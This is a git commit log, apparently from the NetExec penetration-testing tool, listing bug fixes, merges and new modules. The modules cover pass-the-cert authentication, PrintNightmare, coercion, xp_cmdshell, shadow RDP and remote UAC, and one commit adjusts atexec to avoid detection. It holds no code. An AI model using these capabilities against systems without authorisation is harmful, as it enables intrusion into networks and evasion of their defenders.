zblurx bf6fd5e91f update e2e 2025-01-14 16:26:44 +01:00
zblurx 66500bf2db update with latest dploot changes 2025-01-14 16:23:00 +01:00
zblurx b250e1d9fd Merge branch 'main' into module_dpapihash 2025-01-14 15:55:40 +01:00
zblurx a5ec90e402 Merge pull request #539 from Pennyw0rth/dploot_upgrade
update dploot to 3.1.0
2025-01-14 15:53:57 +01:00
zblurx 142530ca49 update dploot to 3.1.0 2025-01-14 14:50:58 +01:00
mpgn 5e04926d7e update module 2025-01-13 21:51:22 +01:00
mpgn f999da0a31 update module 2025-01-13 20:52:52 +01:00
mpgn 5a63253d16 update module 2025-01-13 20:50:11 +01:00
Alex 835be02966 Merge pull request #538 from Pennyw0rth/neff-update-spec
Fix spec file
2025-01-12 21:02:41 +01:00
Alexander Neff df0b4bba3a Add oscrypto from github to fix openssl issue 2025-01-12 14:58:32 -05:00
Alexander Neff 72ff0ae041 Fix spec file 2025-01-12 09:28:13 -05:00
mpgn d11532c95a remove useless code 2025-01-10 10:29:49 +01:00
mpgn d666ff3f4a fix review 2025-01-09 22:20:58 +01:00
mpgn 333a7f31de fix review 2025-01-09 22:17:15 +01:00
mpgn 74d8787166 fix review 2025-01-09 22:16:13 +01:00
mpgn 93acdba831 fix review 2025-01-09 22:14:25 +01:00
mpgn bb87479069 add test 2025-01-09 21:05:05 +01:00
mpgn 11062abd4b add exit if not right 2025-01-09 20:44:00 +01:00
mpgn 923fc4625f add backup_operator module 2025-01-09 20:09:23 +01:00
mpgn 5103f57fac Merge pull request #536 from Pennyw0rth/pfx_fix
fix pfx auth on non dc
2025-01-07 13:02:48 +01:00
mpgn 4a3f3e3120 use kdchost 2025-01-07 16:15:08 +01:00
mpgn 26e4ce4b11 use kdchost 2025-01-07 16:10:25 +01:00
mpgn 905f63677c fix pfx auth on non dc 2025-01-07 16:05:12 +01:00
mpgn 5d680a9288 Merge pull request #534 from Pennyw0rth/nosmbv1
switch default conn from smbv1 to smbv3
2025-01-06 21:23:14 +01:00
mpgn 501c9e0c10 Merge branch 'main' into nosmbv1 2025-01-06 21:20:11 +01:00
mpgn 3ee33cdd61 Merge pull request #535 from Pennyw0rth/neff-patch-1
Update license file and lint py version
2025-01-06 21:20:02 +01:00
mpgn a562430416 Merge branch 'main' into neff-patch-1 2025-01-06 21:15:20 +01:00
mpgn 1bfe964aa5 Merge pull request #533 from Pennyw0rth/pfx
add certificate authentication aka pass-the-cert
2025-01-06 21:15:07 +01:00
Alexander Neff 0236ef7877 Fix logic bug when creating smbv1 connection and add timeout check for smbv3 2025-01-06 08:43:49 -05:00
Alexander Neff 33ecfb1965 Remove old smbv1 check 2025-01-06 08:43:22 -05:00
Alexander Neff 5aca57804c Lint 2025-01-06 07:46:14 -05:00
Alexander Neff 36eedde236 Update linting to py3.10 2025-01-06 07:46:09 -05:00
Alexander Neff 3904dcd063 Update license file 2025-01-06 07:45:59 -05:00
mpgn cca63a2e76 force poetry to 1.8 in github action 2025-01-06 10:36:52 +01:00
mpgn a4286ee3ab allow test to be run manually 2025-01-06 09:54:42 +01:00
mpgn 0cbd63aa25 try to fix test 2025-01-06 09:24:49 +01:00
mpgn c8160b6fe5 fix ruff 2025-01-05 02:32:37 +01:00
mpgn e744305427 switch default conn from smbv1 to smbv3 2025-01-05 02:28:00 +01:00
Alexander Neff 5f87918e5f Use NXC_PATH instead of hardcoded path 2025-01-04 14:52:38 -05:00
Alexander Neff 28bc001b46 Formating 2025-01-04 14:51:21 -05:00
Alexander Neff 631107dee4 Move cert auth logic to helpers function 2025-01-04 14:49:57 -05:00
Alexander Neff c71e52dbf8 Pass the target ip to the tools, so that they don't need to resolve the domain 2025-01-04 14:41:44 -05:00
Alexander Neff 716ae2a148 Make sure that the user enters a username for cert auth 2025-01-04 14:41:17 -05:00
mpgn 36ca3a0326 add certificate authentication aka pass-the-cert 2025-01-04 18:36:38 +01:00
termanix cf40b4c69e Merge branch 'Pennyw0rth:main' into patch-6 2025-01-04 09:31:43 -05:00
termanix c0fe839e28 ldap parser stay same as main branch. users and active-users editted for both anon and user auth. 2025-01-04 09:23:11 -05:00
Alex f9ce149d12 Merge pull request #531 from Pennyw0rth/neff-refactor-ssh 2025-01-04 11:49:27 +01:00
Alexander Neff a2ae0bde18 POC for escape to root file system 2025-01-03 20:19:35 -05:00
mpgn fb96e7868c Merge pull request #530 from Pennyw0rth/ldap_socks
fix connection issue with socks ldap
2025-01-03 08:22:38 +01:00
Alexander Neff 23b4a23c5d Readd functionality that key files are stored to db 2025-01-02 18:42:11 -05:00
Alexander Neff 7a6945a789 Add missing database handling 2025-01-02 18:20:38 -05:00
mpgn 56e92220e2 Merge pull request #532 from Pennyw0rth/bh
push bloodhound to 1.8
2025-01-03 00:00:48 +01:00
mpgn 37ae051ad4 fix ruff 2025-01-03 00:14:42 +01:00
mpgn d5c6bd927f push bloodhound to 1.8 2025-01-03 00:09:06 +01:00
Alexander Neff 4303f1d43a Moved to init 2025-01-02 17:54:53 -05:00
Alexander Neff 96d23cd174 Fix windows output 2025-01-02 17:52:47 -05:00
Alexander Neff beee54bea6 Fix debug logging 2025-01-02 17:50:11 -05:00
Alexander Neff caba9f662f Refactor privilege check logic 2025-01-02 17:42:31 -05:00
mpgn fcc22c212d Merge pull request #505 from rtpt-romankarwacik/dcerpc_printerbug
coerce_plus: Support DCERPC for PrinterBug
2025-01-02 22:54:13 +01:00
Alexander Neff cfc8f2fcfa Fix auth 2025-01-02 16:37:57 -05:00
Alexander Neff 6593fa84db Extracting privilege checks from plaintext_login 2025-01-02 16:37:17 -05:00
Alexander Neff 07540ee0c7 Renanem priv functions to reflect its implementation 2025-01-02 16:13:59 -05:00
Alexander Neff 176b9618f1 Move plaintext_login above priv checks 2025-01-02 16:13:16 -05:00
Alexander Neff b02fff7e3c Add handling for missing or wrong key file password 2025-01-02 16:04:44 -05:00
mpgn 3ec787cda2 re-add debug line 2025-01-02 21:59:47 +01:00
mpgn 45b81a4306 fix ruff 2025-01-02 21:56:02 +01:00
mpgn 7296e3c715 fix connection issue with socks ldap 2025-01-02 21:51:39 +01:00
mpgn 74f39f50d6 fix expoitstatus 2025-01-02 20:11:44 +00:00
Roman Karwacik 2c50411a59 fix force push ':( 2025-01-02 20:08:49 +00:00
Roman Karwacik b22c4bc6b4 add break on loop 2025-01-02 20:08:03 +00:00
Alex 121942320e Merge pull request #524 from jdholtz/ssh-file-interaction
ssh: allow for putting and getting files
2025-01-02 19:06:02 +01:00
Alex 59faa48cfd Merge pull request #476 from termanix/patch-8
Improve LDAP dc-list flag
2025-01-01 18:28:04 +01:00
Alexander Neff d8e5e94ccb Add dns options to dc-list 2025-01-01 12:24:46 -05:00
mpgn fbd4e1ae9a Merge branch 'main' into patch-8 2024-12-31 10:02:31 +01:00
mpgn 131e29e117 Merge pull request #529 from XiaoliChan/printnightmare-fix
[PrintNightmare] Add more exception catch in module
2024-12-31 09:57:54 +01:00
XiaoliChan 3b443d7c83 [Module] Add more exception catch
Signed-off-by: XiaoliChan <[email protected]>
2024-12-31 13:22:43 +08:00
Alex 1d55ccf5b1 Merge pull request #528 from Pennyw0rth/neff-rdp-errors
Show error messages when rdp fails
2024-12-30 22:31:07 +01:00
Alexander Neff 7c95169907 Linting 2024-12-30 16:21:48 -05:00
Alexander Neff 57b29bcc71 Simplify code 2024-12-30 16:21:38 -05:00
Alexander Neff 0f810c958d Add errors message to login result for all login methods 2024-12-30 16:20:32 -05:00
Alexander Neff f93e9c3ea4 Add errors message to login result 2024-12-30 16:16:30 -05:00
Alex 2c421a7ed5 Merge pull request #526 from lap1nou/fix-user-desc 2024-12-30 21:13:04 +01:00
lapinou 4100bb3e61 Update ldap.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:26:09 +01:00
lapinou 7a98330156 Update database.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:18:44 +01:00
lapinou 14c4506767 Update user-desc.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:10:35 +01:00
mpgn 92dc819673 Merge pull request #521 from XiaoliChan/remove-mic-check
[Module] Add remove mic check
2024-12-29 21:18:01 +01:00
XiaoliChan 7a6565c1e1 Merge branch 'main' into remove-mic-check 2024-12-30 00:35:26 +08:00
mpgn 2a15590ba5 Merge pull request #523 from XiaoliChan/force-smbv2
[SMB] Allow force to disable SMBv1
2024-12-29 14:58:19 +01:00
XiaoliChan 281feb3809 [SMB] @mpgn review
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 18:29:05 +08:00
XiaoliChan 964be24cfa [Remove-Mic] Add e2e command
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:09:06 +08:00
XiaoliChan 8ad48fb757 [Remove-Mic] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:07:17 +08:00
XiaoliChan ce963a0fa7 [Remove-Mic] mutiple hosts set 2 False
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 14:59:53 +08:00
XiaoliChan b79ddec91f [SMB] add e2e for '--no-smbv1'
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:43:12 +08:00
XiaoliChan d33f1640b7 [SMB] better control of smbv1
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:37:10 +08:00
jdholtz dc39e0e6a9 ssh: allow for putting and getting files 2024-12-27 01:33:50 -06:00
XiaoliChan 3e44b41e8b [Module] Add remove mic check
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 02:01:39 +08:00
XiaoliChan 1b7dbe3ba1 [SMB] Allow force to use smbv2
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 01:32:41 +08:00
Alex 32b20cdc22 Merge pull request #522 from Pennyw0rth/neff-fix-514 2024-12-26 16:21:44 +01:00
Alexander Neff c0e618fe41 Fix #514 2024-12-26 08:53:11 -05:00
Alex 14c295923f Merge pull request #520 from lodos2005/patch-2
Rename ldapConnection to the new ldap_connection var #508 #4767762 - Fix Modules
2024-12-26 14:31:41 +01:00
Hakan Yavuz bb378830b3 Rename ldapConnection to the new ldap_connection var #508 #4767762 2024-12-25 13:50:02 +03:00
Alex 07980ea486 Merge pull request #516 from Pennyw0rth/neff-improve-enum_links
Add a query for the linked server config if we are local admin
2024-12-21 15:48:03 +01:00
Alexander Neff 2a98a9255e Add a query for the linked server config if we are local admin 2024-12-21 09:42:32 -05:00
Alex bc2bc32797 Merge pull request #515 from Pennyw0rth/neff-patch-1
Change error to fail message
2024-12-21 15:23:18 +01:00
Alexander Neff 2afb383cdf Change error to fail message 2024-12-21 08:36:55 -05:00
Alex 1e583a066f Merge pull request #368 from Yeeb1/module_snipped
Add new SMB module to download Screenshots created by Snipping Tool
2024-12-21 13:22:10 +01:00
Alexander Neff 930f045190 Changing logging output 2024-12-19 08:28:27 -05:00
mpgn 4de3126672 Merge pull request #511 from Pennyw0rth/fix_ldap_trust
fix trust relation for ldap
2024-12-19 13:03:11 +01:00
mpgn 73ce6d773f fix trust relation for ldap 2024-12-19 13:55:59 +01:00
mpgn ecd3fcd255 Merge pull request #508 from Pennyw0rth/ldap_wt_smb
Remove smb from ldap proto
2024-12-19 09:15:32 +01:00
mpgn d05aeb5631 Merge pull request #510 from Pennyw0rth/fix_kerberos_trust
fix trust relation for smb
2024-12-19 09:15:20 +01:00
mpgn ea7e0925a1 fix trust relation for smb 2024-12-19 02:28:26 +01:00
Alexander Neff 4767762939 Rename ldapConnection to the new ldap_connection var 2024-12-18 17:31:25 -05:00
mpgn 4a8e702f24 fix hostname 2024-12-18 23:42:25 +01:00
mpgn 1c55fd806a fix ruff 2024-12-18 23:05:52 +01:00
mpgn 02981b187e Remove smb from ldap proto 2024-12-18 23:01:38 +01:00
mpgn 100a878a2c Merge pull request #509 from Mortimus/patch-1
Update pyproject.toml to add missing dependency for wam module
2024-12-18 22:45:30 +01:00
mpgn 59e091ba34 add poetry.lock 2024-12-19 02:37:06 +01:00
Randall Stroup 0b2ffca913 Update pyproject.toml
Updated missing dependency for wam module

Signed-off-by: Randall Stroup <[email protected]>
2024-12-18 14:31:45 -06:00
mpgn 2e1f225859 Merge pull request #506 from Pennyw0rth/ruff
fix ruff
2024-12-18 00:01:19 +01:00
mpgn 4c9db0a377 fix ruff 2024-12-17 21:18:57 +01:00
mpgn 277a78c29c Merge branch 'main' into ruff 2024-12-17 21:15:03 +01:00
mpgn a284b00678 Merge pull request #415 from deathflamingo/main
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-12-17 21:13:50 +01:00
mpgn cb44d09df7 fix ruff 2024-12-17 21:08:00 +01:00
mpgn fb369f05b6 Merge pull request #444 from Dfte/SMB]-Add-the-Notepad++-module
[SMB] Add the Notepad++ module
2024-12-17 19:02:20 +01:00
mpgn 278124f289 Merge pull request #451 from Dfte/SMB]-Rework-the-runasppl-module
[SMB] Rework the runasppl module
2024-12-17 18:51:15 +01:00
mpgn 0ff19ac09e Merge pull request #465 from Dfte/Add---shadowrdp-module
Add the shadow RDP module
2024-12-17 18:50:54 +01:00
mpgn 87e383fda5 Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:48:13 +01:00
mpgn 65e2b3f7a9 Merge pull request #449 from Dfte/SMB]-Powershell-history-module-rework
[SMB] Powershell history module rework
2024-12-17 18:47:13 +01:00
mpgn 25fd5c193a Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:46:42 +01:00
termanix a9ef92be9b Merge branch 'Pennyw0rth:main' into patch-8 2024-12-17 11:41:44 -05:00
mpgn aa68664ba5 Merge branch 'main' into SMB]-Rework-the-runasppl-module
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:42:08 +01:00
mpgn 9e3ea172ad Merge branch 'main' into SMB]-Powershell-history-module-rework 2024-12-17 16:26:47 +01:00
mpgn fad01c8175 Merge branch 'main' into SMB]-Add---qwinsta-and---tasklist-options
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:17:16 +01:00
mpgn c9ce989b43 Merge pull request #491 from Pennyw0rth/dploot_upgrade
Upgrade dploot to 3.0.3
2024-12-16 22:22:15 +01:00
mpgn 52da03ec1b Merge branch 'main' into dploot_upgrade 2024-12-16 22:08:03 +01:00
mpgn 4516401d15 Merge pull request #456 from lodos2005/patch-1
Add mssql_coerce Module
2024-12-16 22:03:44 +01:00
mpgn 706da13ef8 Merge branch 'main' into dploot_upgrade 2024-12-16 22:03:32 +01:00
mpgn 69715850dc Merge branch 'main' into patch-1 2024-12-16 22:01:36 +01:00
mpgn d32080e507 fix py missing 2024-12-16 21:56:58 +01:00
mpgn 051fa81da4 Merge pull request #492 from Adamkadaban/mssql-rid-brute
Add rid-brute flag to mssql protocol
2024-12-16 21:48:37 +01:00
mpgn 07c15cd413 Merge branch 'main' into mssql-rid-brute 2024-12-16 21:37:34 +01:00
Alex 95b1af5a16 Merge pull request #503 from Pennyw0rth/neff-add-basedn
Add baseDN flag to ldap
2024-12-11 13:13:13 +01:00
Alex dcb3bbd025 Merge pull request #500 from MaxToffy/fix-daclread
Fix TARGET_DN object query
2024-12-11 13:12:59 +01:00
Alexander Neff 9997091980 Add baseDN option for other search queries 2024-12-10 18:29:14 -05:00
Alexander Neff c4671a2c17 Add base-dn options for ldap to fix stuff like #500 2024-12-10 18:27:12 -05:00
Alex 3a446436a0 Merge pull request #502 from lap1nou/fix-nla-screen
Fix RDP '--nla-screenshot' option
2024-12-10 23:50:40 +01:00
Alexander Neff 55c4cfd219 Add log message and use NXC_PATH var 2024-12-10 17:42:38 -05:00
lapinou 8a55f22dc0 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-10 19:31:17 +01:00
lapinou 5174ce4a6b Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 23:09:12 +01:00
lapinou 74eb4cbcc8 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 22:35:02 +01:00
Alex 2c5037f0ab Merge pull request #499 from Joytide/spiderplus-ext-fix
Bugfix: file extension filter of spiderplus was misleading/broken
2024-12-05 13:05:49 +01:00
Joytide bed186712d Merge pull request #1 from termanix/patch-9
Update spider_plus.py for both with and without dots
2024-12-05 11:34:09 +01:00
termanix 3ca3481270 Update spider_plus.py for both with and without dots
Signed-off-by: termanix <[email protected]>
2024-12-05 00:38:41 +02:00
MaxToffy bd50a585a1 Fix TARGET_DN object query
Signed-off-by: MaxToffy <[email protected]>
2024-12-04 11:12:15 +01:00
Joytide af8001591c Bugfix: file extension filter of spiderplus was misleading 2024-12-03 10:53:36 +01:00
Alex 24135483e2 Merge pull request #311 from Disgame/timeroast_module
Timeroast module
2024-12-01 14:37:45 +01:00
Alex d7d7505fa1 Merge branch 'main' into timeroast_module 2024-11-30 12:36:10 +01:00
Alex 45db7e67aa Merge pull request #498 from Pennyw0rth/neff-bug-fixes
Speed improvements and bug fixes
2024-11-30 00:21:00 +01:00
Alex 7b7f4b2475 Merge branch 'main' into timeroast_module 2024-11-29 01:12:57 +01:00
Alexander Neff b9f52fdd4b Formating 2024-11-28 19:00:54 -05:00
Alexander Neff 410e040a28 Don't print an index error with null session, we won't have null user in the db 2024-11-28 19:00:45 -05:00
Alexander Neff 9644cae865 Simplify logging 2024-11-28 18:43:23 -05:00
Alexander Neff 9e024582a4 Add timeout check, to not double check a non existent host 2024-11-28 18:41:10 -05:00
Alexander Neff 8dabb3d0e6 Remove formatter that strips out escape sequence, as already done by Text.from_ansi 2024-11-28 18:27:59 -05:00
Alexander Neff 9d558d95db Remove unnecessary exception info which results in double logs, caused by kwargs passed as exc_info in log record 2024-11-28 17:31:50 -05:00
Alex e19868ecb3 Merge pull request #495 from Pennyw0rth/neff-update-impacket
Update impacket so ldaps channel binding is supported
2024-11-25 22:13:24 +01:00
Alexander Neff 4f10c0b45a Update impacket so ldaps channel binding is supported 2024-11-25 15:49:42 -05:00
Yeeb1 af512f1e6b Modifed Snipped Module 2024-11-24 11:55:39 +00:00
Yeeb1 54fea6358e Created the Snipped SMB Module 2024-11-24 10:33:19 +00:00
Adamkadaban b4b6714125 remove extra newline for better formatting 2024-11-23 21:28:53 -05:00
Adamkadaban 977a3d60a3 add error checking for when not on a domain-joined machine 2024-11-23 15:54:48 -05:00
Adamkadaban b76c848767 comment code 2024-11-23 15:52:05 -05:00
Adamkadaban 07554152db add e2e test 2024-11-23 15:47:45 -05:00
Adamkadaban 6534a4592b remove sid type. unsure if there is any way to query this 2024-11-23 15:34:57 -05:00
Adamkadaban 3b58928ab2 add batch query 2024-11-23 15:28:57 -05:00
Adamkadaban 9b5317c234 add rid-brute argument for mssql 2024-11-23 15:20:24 -05:00
Adamkadaban 29e239469e add initial poc 2024-11-23 15:20:13 -05:00
zblurx 2efaafaf92 update poetry.lock 2024-11-22 17:33:10 +01:00
zblurx 0f98d92340 Upgrade dploot to 3.0.3 2024-11-22 17:18:21 +01:00
termanix 8439d4f9cf Merge branch 'Pennyw0rth:main' into patch-8 2024-11-16 10:05:50 -05:00
Alex 05ad3c6bc4 Merge pull request #488 from TheToddLuci0/add_null_domain_flag
Allow for empty domains
2024-11-15 19:17:54 -05:00
Alex 77e1f88d5b Merge pull request #380 from nikaiw/add_ioxidresolver_option
add an option to ioxidresolver to get only IP values different than targets
2024-11-15 19:06:13 -05:00
Alexander Neff c64cf0a93a Fix module options and rstrip to remove trailing null byte 2024-11-15 18:56:12 -05:00
TheToddLuci0 743076acd3 Allow for empty domains 2024-11-15 17:53:15 -06:00
Alex b3872600e9 Merge pull request #438 from snowpeacock/fix_module_execution_method
Bugfix : exec-method specified in module file is not used
2024-11-15 17:25:17 -05:00
Alexander Neff dca1d088c3 Merge branch 'main' into fix-exec-method 2024-11-15 17:22:04 -05:00
Alex 0da04ddb20 Merge pull request #381 from termanix/FindDelegation
New LDAP Flag Find Delegation
2024-11-14 15:09:32 -05:00
Alexander Neff f5d5a1b4fe Use imported constants instead of redefining 2024-11-14 14:10:13 -05:00
Alexander Neff bac7a34285 Removing disabled account checks, these are already filtered by the ldap query 2024-11-14 06:46:50 -05:00
Alexander Neff 573eb60002 Small formating changes 2024-11-14 06:40:07 -05:00
Alexander Neff 0fc09fae53 Filter only unconstrained delegation on DCs 2024-11-14 06:29:12 -05:00
Alexander Neff 496b002ad2 Remove check for sAMAccountName, there should always be one 2024-11-14 06:22:38 -05:00
Alex 2235050f60 Merge pull request #487 from Pennyw0rth/neff-fix-veeam-output
Fix veeam output
2024-11-13 08:44:34 -05:00
Alexander Neff 3fff8b1721 Remove weird header in PR template 2024-11-13 08:25:58 -05:00
Alexander Neff 620f4208b4 Fix veeam output 2024-11-13 08:23:40 -05:00
Alex dbd20cb72a Merge pull request #481 from Kahvi-0/main
schtask_as - Delete task when there is an error
2024-11-12 17:02:44 -05:00
Alex 08b486da5c Merge pull request #482 from Pennyw0rth/hosts_file
Add option to generate hosts file for smb proto to first blood more quickly on htb
2024-11-12 17:02:00 -05:00
Alex cd75a4c5e9 Merge pull request #486 from j-mie/fix-nmap-parser-ftp
Fix nmap XML parser when looking for ftp service
2024-11-12 16:55:17 -05:00
Jamie Hankins 3358f77d22 Add support for WMI and NFS in nmap XML parser 2024-11-12 17:40:39 +00:00
Jamie Hankins 7586145d24 Fix nmap XML parser when looking for ftp service 2024-11-12 17:08:52 +00:00
termanix 627bc5ee18 dns-resolver object change with the nxc/connection.py 2024-11-11 14:48:21 -05:00
termanix bb11d413cd Merge branch 'Pennyw0rth:main' into patch-8 2024-11-11 12:09:00 -05:00
Alexander Neff 801420da75 As the scheduled task now triggers on registration we remove manuel execution because this would try to run the task twice 2024-11-11 11:19:31 -05:00
Alexander Neff 14ccdfc63c Suprress task deletion errors and ensure only one error message is printed 2024-11-11 11:05:35 -05:00
Alexander Neff 33f3f7c449 Remove global variable 2024-11-11 08:59:10 -05:00
Alexander Neff 64f0f78ed3 Remove useless code and formating 2024-11-11 08:38:44 -05:00
Alexander Neff 94c2884c5f Update atexec.py to prevent detectino with hardcoded timestamp 2024-11-10 18:29:18 -05:00
Alexander Neff ab579b3d45 Change Trigger to type RegistrationTrigger and add end boundary to prevent execution after some time if something fails, see #481 2024-11-10 18:26:11 -05:00
termanix a70e3b8c6b removed SERVER_TRUST_ACCOUNT for see rbcd to DCs 2024-11-09 11:27:04 -05:00
termanix ef0ca60c39 mustcommit variable remove 2024-11-08 01:53:22 -05:00
mpgn d9982b486d Merge branch 'main' into hosts_file 2024-11-07 15:24:00 +01:00
Alex 72fee6af49 Merge pull request #405 from 0xQRx/mssql-xp-shell-add-check
Mssql xp_cmdshell added "is enabled" check
2024-11-06 23:25:02 +01:00
Alexander Neff c012e04ecf Add backup&restore options for mssql options, to keep the current state of the mssql config 2024-11-06 16:34:41 -05:00
mpgn e78b05adad Merge branch 'main' into hosts_file 2024-11-06 15:13:02 +01:00
Alex a83c412062 Merge pull request #462 from y0no/smb_add_enum_shares
[SMB] Add --enum-shares options like in NFS protocol
2024-11-06 12:30:38 +01:00
Alexander Neff 92c4f014a6 Add ruff exception for function name "dir" 2024-11-06 06:24:36 -05:00
Alexander Neff fd378f6675 Removing unnecessary check 2024-11-06 06:21:41 -05:00
mpgn d4808ac9e9 check if target is dc 2024-11-04 14:41:43 +01:00
mpgn 864b7aeed3 fix proto help 2024-11-03 22:17:57 +01:00
mpgn c294219b7a add tests 2024-11-03 22:08:51 +01:00
mpgn 841f9d8fd0 add generate_hosts_file option for lab 2024-11-03 22:02:51 +01:00
Kahvi-0xFF bab8acbf4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:18:16 -04:00
Kahvi-0xFF dc61428a0e Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:04:16 -04:00
Kahvi-0xFF 9c17cf9bb2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:02:50 -04:00
Kahvi-0xFF c66ab1af61 schtask_as.py - Delete task when there is an error
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 18:42:34 -04:00
termanix 26391a3370 Update variables
Signed-off-by: termanix <[email protected]>
2024-10-28 21:58:53 +02:00
termanix 85600e66b4 Update admin-count parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 21:35:00 +02:00
termanix 2f17bb27b3 Update password-not-required parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:59:43 +02:00
termanix c96b703bd7 Update trusted-for-delegation parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:58:39 +02:00
termanix ec09a5a35b Update query parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:46:35 +02:00
termanix 7b4f5ea65f Update kerberoasting parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:15:12 +02:00
termanix 78063a0308 Update asreproast parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:01:11 +02:00
termanix 9889414c2e Update groups parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 19:59:52 +02:00
termanix 415af7e613 Merge branch 'main' into patch-7 2024-10-28 19:13:17 +03:00
termanix 3d186ec434 Update check_if_admin parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 18:10:38 +02:00
termanix 92c892fd41 Update dc-list
Signed-off-by: termanix <[email protected]>
2024-10-28 15:57:47 +02:00
Alex 78da498846 Merge pull request #474 from Pennyw0rth/marshall-nfs-status13-fix 2024-10-28 00:23:18 +01:00
Alexander Neff 1b495cd372 Use the status codes defined in the rfc when we have an error with mounting shares 2024-10-23 17:56:57 -04:00
Marshall Hallenbeck 9e6ba5a4c0 fix: check if status is 13 and print out permission denied for share 2024-10-23 15:59:39 -04:00
Alex 3e5d825852 Merge pull request #473 from Pennyw0rth/neff-code-improvements 2024-10-23 11:29:39 +02:00
Alex 6f7c4dbc1a Merge branch 'main' into neff-code-improvements 2024-10-22 22:22:49 +02:00
Alex 110f61bc3b Merge pull request #460 from Pennyw0rth/neff-drop-py-support
Drop support for Python 3.8 and 3.9
2024-10-22 22:22:38 +02:00
Alexander Neff a382fbd492 Execute should always return a string not a list 2024-10-22 15:40:49 -04:00
Alexander Neff b5e9f1f069 Replace False return values with empty list to prevent crashes 2024-10-22 15:34:21 -04:00
Alexander Neff 7f3233008d Replace None/False return values with empty list to prevent crashes 2024-10-22 15:27:23 -04:00
termanix 496ea65394 Updated get_ldap_info with parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-22 21:38:01 +03:00
Alexander Neff 8e421046d1 Remove obsolete code 2024-10-22 11:44:28 -04:00
Alexander Neff 623bfd9fe2 Fix linting 2024-10-22 10:32:34 -04:00
Alexander Neff cc659638c8 Merge branch 'main' into neff-drop-py-support 2024-10-22 10:32:13 -04:00
termanix 4627d0a119 Update for parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-21 22:11:42 +03:00
termanix a1bb4ee0df update ldap_results for now 2024-10-21 22:05:51 +03:00
termanix f4617f6436 removed unused timedelta
Signed-off-by: termanix <[email protected]>
2024-10-21 22:02:05 +03:00
termanix 6e2b050d33 Merge branch 'main' into patch-6 2024-10-21 21:59:29 +03:00
termanix d212ae7c2d Updated as Neff's review
Signed-off-by: termanix <[email protected]>
2024-10-21 21:55:46 +03:00
Alex d6e77d19c6 Merge pull request #470 from Chocapikk/main
FIX `a bytes-like object is required, not str` in `nxc/protocols/smb.py`
2024-10-20 23:28:10 +02:00
Chocapikk 536cede147 Add comment 2024-10-20 19:55:46 +02:00
Chocapikk d4a17c00a0 FIX a bytes-like object is required, not str 2024-10-20 17:08:23 +02:00
y0no 2bf95cc899 Move from --enum-share to --dir 2024-10-19 11:24:38 +02:00
Alex c312367b34 Merge pull request #466 from haytechy/main
Fixed issue with --options flag
2024-10-19 02:27:24 +02:00
Alexander Neff 5b48d68afb Remove unused import 2024-10-18 20:27:09 -04:00
Alexander Neff e2bec64be2 Hotfix if msDS-AllowedToActOnBehalfOfOtherIdentity has an empty security descriptor 2024-10-18 20:21:28 -04:00
Alexander Neff c2fe271738 Fix ldap result parsing minor code improvements 2024-10-18 20:20:27 -04:00
Alexander Neff fa8d5d5299 Merge branch 'main' into find-delegate 2024-10-18 16:57:51 -04:00
haytehcy 5bcf955bb3 Fixed issue with --options flag 2024-10-18 21:02:32 +01:00
termanix 6e59002b6f Edit_ldarp_parser 2024-10-18 16:48:15 +03:00
termanix 5b14c3f999 Used parse_result_attributes for parsing RBCD too
Signed-off-by: termanix <[email protected]>
2024-10-18 16:39:04 +03:00
termanix 29de0ccf34 Used parse_result_attributes for parsing
Signed-off-by: termanix <[email protected]>
2024-10-18 16:26:16 +03:00
Deft_ 6dcc0cf2d3 Create shadowrdp.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:47:32 +02:00
Deft_ f6436fd9ba Create remoteuac.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:33:49 +02:00
y0no c3f10eff87 Add --enum-shares options to SMB protocol 2024-10-16 18:02:13 +02:00
Alexander Neff 46cd610fb0 Update README to support py3.10+ 2024-10-16 07:39:08 -04:00
Alexander Neff 7e90ad2c0f Revert 8485417358 2024-10-16 07:36:33 -04:00
Alexander Neff ed0b03917e Update github workflows 2024-10-16 07:32:33 -04:00
Alexander Neff 6564038d51 Moving the PR template hoping that it now get recognized by gh 2024-10-16 07:29:14 -04:00
Alexander Neff 743a84dbe6 Update dependencies 2024-10-16 07:20:32 -04:00
Alexander Neff 4612df869e Drop python 3.8 and 3.9 support 2024-10-16 07:17:05 -04:00
Alex ae4317c955 Merge pull request #458 from Hackndo/patch-1 2024-10-16 13:05:14 +02:00
Pixis a798bb69c2 Update runasppl.py
`execute()` method of `smb` class returns False if an error occurred.
